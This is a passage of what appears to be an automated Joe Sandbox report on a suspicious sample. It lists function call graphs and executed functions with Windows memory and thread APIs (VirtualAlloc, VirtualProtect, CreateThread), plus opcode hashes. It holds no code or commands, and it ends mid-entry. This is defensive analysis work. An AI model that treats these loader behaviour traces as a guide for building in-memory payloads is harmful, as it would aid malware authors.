                                                                                                                                                                                                                                                                                                      callgraph 0 Function_03BA04B0 1 Function_03BA56B4 50 Function_03BA56C2 1->50 2 Function_03BA35B4 22 Function_03BA3584 2->22 65 Function_03BA3524 2->65 3 Function_03BA3CB4 4 Function_03BA09A0 36 Function_03BA06E0 4->36 5 Function_03BA0DA0 5->4 6 Function_03BA12A0 90 Function_03BA1050 6->90 7 Function_03BA04A0 75 Function_03BA1900 7->75 85 Function_03BA0760 7->85 101 Function_03BA1944 7->101 8 Function_03BA40A4 9 Function_03BA43A4 10 Function_03BA45A4 16 Function_03BA3D94 10->16 11 Function_03BA049D 12 Function_03BA0F90 13 Function_03BA5094 13->3 14 Function_03BA3A94 13->14 20 Function_03BA3B84 13->20 40 Function_03BA49E4 13->40 48 Function_03BA4CD4 13->48 53 Function_03BA3AC4 13->53 61 Function_03BA4C34 13->61 94 Function_03BA3B54 13->94 95 Function_03BA4E54 13->95 71 Function_03BA3714 14->71 15 Function_03BA3794 15->2 37 Function_03BA34E4 15->37 15->71 102 Function_03BA3D44 16->102 17 Function_03BA0580 26 Function_03BA04F0 17->26 91 Function_03BA0550 17->91 18 Function_03BA1A80 19 Function_03BA4184 38 Function_03BA42E4 19->38 20->71 21 Function_03BA5284 21->2 21->3 21->20 21->37 39 Function_03BA47E4 21->39 49 Function_03BA34D4 21->49 51 Function_03BA3BC4 21->51 64 Function_03BA3B24 21->64 73 Function_03BA4914 21->73 78 Function_03BA4404 21->78 80 Function_03BA3D04 21->80 82 Function_03BA4674 21->82 23 Function_03BA3684 24 Function_03BA4A84 24->40 25 Function_03BA19F3 27 Function_03BA09F0 28 Function_03BA0CF0 29 Function_03BA0FF0 30 Function_03BA10F0 30->90 31 Function_03BA56F4 31->1 31->14 31->15 31->21 31->24 32 Function_03BA3AF4 31->32 52 Function_03BA51C4 31->52 54 Function_03BA34C4 31->54 63 Function_03BA3A24 31->63 89 Function_03BA5864 31->89 93 Function_03BA3A54 31->93 32->71 33 Function_03BA3DF4 33->8 72 Function_03BA4114 33->72 34 Function_03BA45F4 34->16 35 Function_03BA45E9 42 Function_03BA06E5 36->42 41 Function_03BA4BE4 41->40 43 Function_03BA1ADE 44 Function_03BA08D0 44->36 45 Function_03BA14D0 45->6 45->27 45->30 45->44 47 Function_03BA12D0 45->47 69 Function_03BA1110 45->69 74 Function_03BA0900 45->74 45->90 92 Function_03BA0650 45->92 97 Function_03BA1340 45->97 100 Function_03BA1140 45->100 46 Function_03BA0DD0 58 Function_03BA0F30 46->58 47->30 47->90 47->100 48->3 48->9 48->14 48->19 48->33 48->40 48->61 96 Function_03BA4154 48->96 103 Function_03BA4344 48->103 51->71 52->3 52->13 52->14 88 Function_03BA4C64 52->88 53->71 54->1 54->14 54->15 54->21 54->24 54->32 54->52 54->54 54->63 54->89 54->93 55 Function_03BA003B 56 Function_03BA003F 57 Function_03BA0930 57->36 59 Function_03BA4631 60 Function_03BA3C34 60->71 61->40 62 Function_03BA002B 63->71 64->71 66 Function_03BA3719 67 Function_03BA0012 68 Function_03BA1910 68->75 68->85 68->101 69->90 70 Function_03BA1710 70->6 70->27 70->44 70->45 70->57 70->74 84 Function_03BA0960 70->84 70->90 70->97 71->66 72->8 74->36 76 Function_03BA0000 77 Function_03BA4C04 77->40 78->2 78->10 78->16 78->32 78->34 104 Function_03BA4644 78->104 79 Function_03BA3C04 79->71 81 Function_03BA1A05 82->60 82->79 83 Function_03BA006D 84->36 85->0 85->17 85->36 86 Function_03BA0D60 86->28 87 Function_03BA3C64 87->71 88->24 88->40 88->41 89->24 93->1 93->71 94->71 95->3 95->14 95->23 95->24 95->40 95->41 95->48 95->53 95->61 95->77 95->88 96->87 97->5 97->6 97->12 97->27 97->29 97->44 97->46 97->90 99 Function_03BA0A40 97->99 98 Function_03BA1840 98->27 98->44 98->47 98->70 99->28 99->86 100->90 101->7 101->27 101->31 101->54 101->98

                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 0 3ba3a54-3ba3a89 call 3ba3714 CreateThread
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE(?,?,?,?,?,?), ref: 03BA3A7D
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280191311.0000000003BA3000.00000040.00000040.sdmp, Offset: 03BA3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateThread
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2422867632-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: a04411824406bebcda2cdc8e1f5489fc9ee9d14fca1d0bfc8493bf9ef90f4689
                                                                                                                                                                                                                                                                                                      • Instruction ID: 7c5ada33b40d8b68a2374505a8aa52aad1d9dd1d9a7c3c2de635b280025e7356
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a04411824406bebcda2cdc8e1f5489fc9ee9d14fca1d0bfc8493bf9ef90f4689
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B0E04E7A90020DAFCF01DF94D94589DBFB5EB08200F008095FD1456220D6329A61EF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 3 3ba3bc4-3ba3bf3 call 3ba3714 VirtualProtect
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualProtect.KERNELBASE(?,?,?,?), ref: 03BA3BE7
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280191311.0000000003BA3000.00000040.00000040.sdmp, Offset: 03BA3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: ProtectVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 544645111-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 802e8bcea279d787bc39c3893ded85e1c047648dd60c64ef52e019ebcc5d0c4d
                                                                                                                                                                                                                                                                                                      • Instruction ID: 27358e36bd2e722b53f1524bf5c61516eb44f205f29c183c9f228e9c3f6d7c61
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 802e8bcea279d787bc39c3893ded85e1c047648dd60c64ef52e019ebcc5d0c4d
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FFE07E7990020CAFCF01DF98D94589DBBB5EB08200F0081AAED58A7220D6319A20EF51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 6 3ba0960-3ba098f call 3ba06e0 VirtualAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 03BA0983
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280185976.0000000003BA0000.00000040.00000040.sdmp, Offset: 03BA0000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba0000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction ID: df196314ccf047f569e36d6386dd2ac4e0ce307fcf11db33feac7de5d1f9892e
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CBE07E7990020CAFCF01EF98D94589DBBB5EB08210F0080AAED14A6210D6319A60EB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 9 3ba3b84-3ba3bb3 call 3ba3714 VirtualAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 03BA3BA7
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280191311.0000000003BA3000.00000040.00000040.sdmp, Offset: 03BA3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction ID: 11e4e8be18234cf07d0af5e91f4e78ea01d6a4b9559c68e5f8d7267cc8711d9c
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ADE07E7990020CAFCF01DF98D94589DBBB5EB08210F0080AAED14A7220D6319A20EF51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 12 3ba0930-3ba095c call 3ba06e0 VirtualFree
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualFree.KERNELBASE(?,?,?), ref: 03BA0950
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280185976.0000000003BA0000.00000040.00000040.sdmp, Offset: 03BA0000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba0000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0e18e20b97c093c2bf1259203656f339c78e87bcfee61836465f2c9686d60cbd
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0AE02679D0420CFFCF05EF98D94599DBBB5EF58210F1081A9ED1497310D6319A60DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 15 3ba3b54-3ba3b80 call 3ba3714 VirtualFree
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualFree.KERNELBASE(?,?,?), ref: 03BA3B74
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280191311.0000000003BA3000.00000040.00000040.sdmp, Offset: 03BA3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction ID: feced1d2b885487882d04205cab6e570a5dba9f162d530f166a7f17a6fbf53c6
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 33E02679D0420CFFCF05DF98D94599DBBB5EF18211F1081AAED1497320D6319A60DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 18 3ba08d0-3ba08f9 call 3ba06e0 GlobalAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNELBASE(?,?), ref: 03BA08ED
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280185976.0000000003BA0000.00000040.00000040.sdmp, Offset: 03BA0000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba0000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocGlobal
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3761449716-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction ID: e4843ab49169f66e66a2abaa5635eff17668737b38d9816e7fc0a36d520c934b
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5AE02D79D0420CAF8B40EFA8D54589DFBB5EB58210F1081AAEC58A7310E631AA64DB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 21 3ba3a94-3ba3abd call 3ba3714 GlobalAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNELBASE(?,?), ref: 03BA3AB1
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280191311.0000000003BA3000.00000040.00000040.sdmp, Offset: 03BA3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocGlobal
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3761449716-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction ID: 57a6b43834fa0f641b7a47f3762ea56dac8aa0fb0f39a950f1f748f415da6303
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9EE02D79D0420CAF8B40EFA8D54589CFBB5EB08211F1081AAEC58A7310E631AA64DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 24 3ba3a24-3ba3a44 call 3ba3714 Sleep
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000009.00000002.280191311.0000000003BA3000.00000040.00000040.sdmp, Offset: 03BA3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_9_2_3ba3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 372bc6619268a878d4b3fc93414ed148e037412978fb5bf47e3480a05a774b25
                                                                                                                                                                                                                                                                                                      • Instruction ID: 212cf311379e277a110c581a50450dfdb0a8fd9d9f79a043e7a0e963e63c8bd7
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 372bc6619268a878d4b3fc93414ed148e037412978fb5bf47e3480a05a774b25
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 26D0C979D0460CEF8B04EFA8D94689CFFB4EF44211F1081EAEC0457310EA316E64DBA1
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                      Callgraph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      • Opacity -> Relevance
                                                                                                                                                                                                                                                                                                      • Disassembly available
                                                                                                                                                                                                                                                                                                      callgraph 0 Function_039A0F90 1 Function_039A3A94 60 Function_039A3714 1->60 2 Function_039A5094 2->1 8 Function_039A3B84 2->8 14 Function_039A3CB4 2->14 30 Function_039A4CD4 2->30 34 Function_039A3AC4 2->34 51 Function_039A49E4 2->51 74 Function_039A4C34 2->74 82 Function_039A3B54 2->82 84 Function_039A4E54 2->84 3 Function_039A3794 16 Function_039A35B4 3->16 48 Function_039A34E4 3->48 3->60 4 Function_039A3D94 92 Function_039A3D44 4->92 5 Function_039A0580 37 Function_039A04F0 5->37 79 Function_039A0550 5->79 6 Function_039A1A80 7 Function_039A4184 49 Function_039A42E4 7->49 8->60 9 Function_039A5284 9->8 9->14 9->16 29 Function_039A34D4 9->29 32 Function_039A3BC4 9->32 9->48 50 Function_039A47E4 9->50 61 Function_039A4914 9->61 65 Function_039A4404 9->65 68 Function_039A3D04 9->68 76 Function_039A3B24 9->76 94 Function_039A4674 9->94 10 Function_039A3584 11 Function_039A3684 12 Function_039A4A84 12->51 13 Function_039A04B0 15 Function_039A56B4 31 Function_039A56C2 15->31 16->10 77 Function_039A3524 16->77 17 Function_039A09A0 47 Function_039A06E0 17->47 18 Function_039A0DA0 18->17 19 Function_039A12A0 81 Function_039A1050 19->81 20 Function_039A04A0 63 Function_039A1900 20->63 90 Function_039A1944 20->90 97 Function_039A0760 20->97 21 Function_039A40A4 22 Function_039A43A4 23 Function_039A45A4 23->4 24 Function_039A1ADE 25 Function_039A14D0 25->19 26 Function_039A08D0 25->26 28 Function_039A12D0 25->28 38 Function_039A09F0 25->38 41 Function_039A10F0 25->41 58 Function_039A1110 25->58 62 Function_039A0900 25->62 80 Function_039A0650 25->80 25->81 87 Function_039A1340 25->87 89 Function_039A1140 25->89 26->47 27 Function_039A0DD0 71 Function_039A0F30 27->71 28->41 28->81 28->89 30->1 30->7 30->14 30->22 44 Function_039A3DF4 30->44 30->51 30->74 83 Function_039A4154 30->83 91 Function_039A4344 30->91 32->60 33 Function_039A34C4 33->1 33->3 33->9 33->12 33->15 33->33 35 Function_039A51C4 33->35 43 Function_039A3AF4 33->43 75 Function_039A3A24 33->75 85 Function_039A3A54 33->85 101 Function_039A5864 33->101 34->60 35->1 35->2 35->14 100 Function_039A4C64 35->100 36 Function_039A19F3 39 Function_039A0CF0 40 Function_039A0FF0 41->81 42 Function_039A56F4 42->1 42->3 42->9 42->12 42->15 42->33 42->35 42->43 42->75 42->85 42->101 43->60 44->21 59 Function_039A4114 44->59 45 Function_039A45F4 45->4 46 Function_039A45E9 53 Function_039A06E5 47->53 52 Function_039A4BE4 52->51 54 Function_039A3719 55 Function_039A0012 56 Function_039A1910 56->63 56->90 56->97 57 Function_039A1710 57->19 57->25 57->26 57->38 57->62 70 Function_039A0930 57->70 57->81 57->87 96 Function_039A0960 57->96 58->81 59->21 60->54 62->47 64 Function_039A0000 65->4 65->16 65->23 65->43 65->45 93 Function_039A4644 65->93 66 Function_039A4C04 66->51 67 Function_039A3C04 67->60 69 Function_039A1A05 70->47 72 Function_039A4631 73 Function_039A3C34 73->60 74->51 75->60 76->60 78 Function_039A025D 82->60 99 Function_039A3C64 83->99 84->1 84->11 84->12 84->14 84->30 84->34 84->51 84->52 84->66 84->74 84->100 85->15 85->60 86 Function_039A1840 86->26 86->28 86->38 86->57 87->0 87->18 87->19 87->26 87->27 87->38 87->40 87->81 88 Function_039A0A40 87->88 88->39 98 Function_039A0D60 88->98 89->81 90->20 90->33 90->38 90->42 90->86 94->67 94->73 95 Function_039A006D 96->47 97->5 97->13 97->47 98->39 99->60 100->12 100->51 100->52 101->12

                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 0 39a3a54-39a3a89 call 39a3714 CreateThread
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE(?,?,?,?,?,?), ref: 039A3A7D
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303532264.00000000039A3000.00000040.00000040.sdmp, Offset: 039A3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateThread
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2422867632-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: a04411824406bebcda2cdc8e1f5489fc9ee9d14fca1d0bfc8493bf9ef90f4689
                                                                                                                                                                                                                                                                                                      • Instruction ID: b21f534022723c2ba1435a0a6f584bb9fce38537119604b40e9b101204a17095
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a04411824406bebcda2cdc8e1f5489fc9ee9d14fca1d0bfc8493bf9ef90f4689
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 63E04E7A90020DAFCF01DF98D94589DBFB5EB08200F008195FD1456220D6329A61EF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 3 39a3bc4-39a3bf3 call 39a3714 VirtualProtect
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualProtect.KERNELBASE(?,?,?,?), ref: 039A3BE7
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303532264.00000000039A3000.00000040.00000040.sdmp, Offset: 039A3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: ProtectVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 544645111-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 802e8bcea279d787bc39c3893ded85e1c047648dd60c64ef52e019ebcc5d0c4d
                                                                                                                                                                                                                                                                                                      • Instruction ID: 6877727546a2b95097fbde678e832c9199f7430a2c168cba3dd7c602411cba9c
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 802e8bcea279d787bc39c3893ded85e1c047648dd60c64ef52e019ebcc5d0c4d
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A9E07E7990020CAFCF01DF98D94589DBBB5EB08200F008199ED54A7220D6319A20EF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 9 39a3b84-39a3bb3 call 39a3714 VirtualAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 039A3BA7
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303532264.00000000039A3000.00000040.00000040.sdmp, Offset: 039A3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction ID: f1644f2313cc5a79d237b57c9eae15ce0d6e3e99d1446379b0d108316eeed7a6
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ABE07E7990020CAFCF01DF98D94589DBBB5EB08210F00819AED14A7220D6319A20EF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 6 39a0960-39a098f call 39a06e0 VirtualAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 039A0983
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303526746.00000000039A0000.00000040.00000040.sdmp, Offset: 039A0000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a0000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
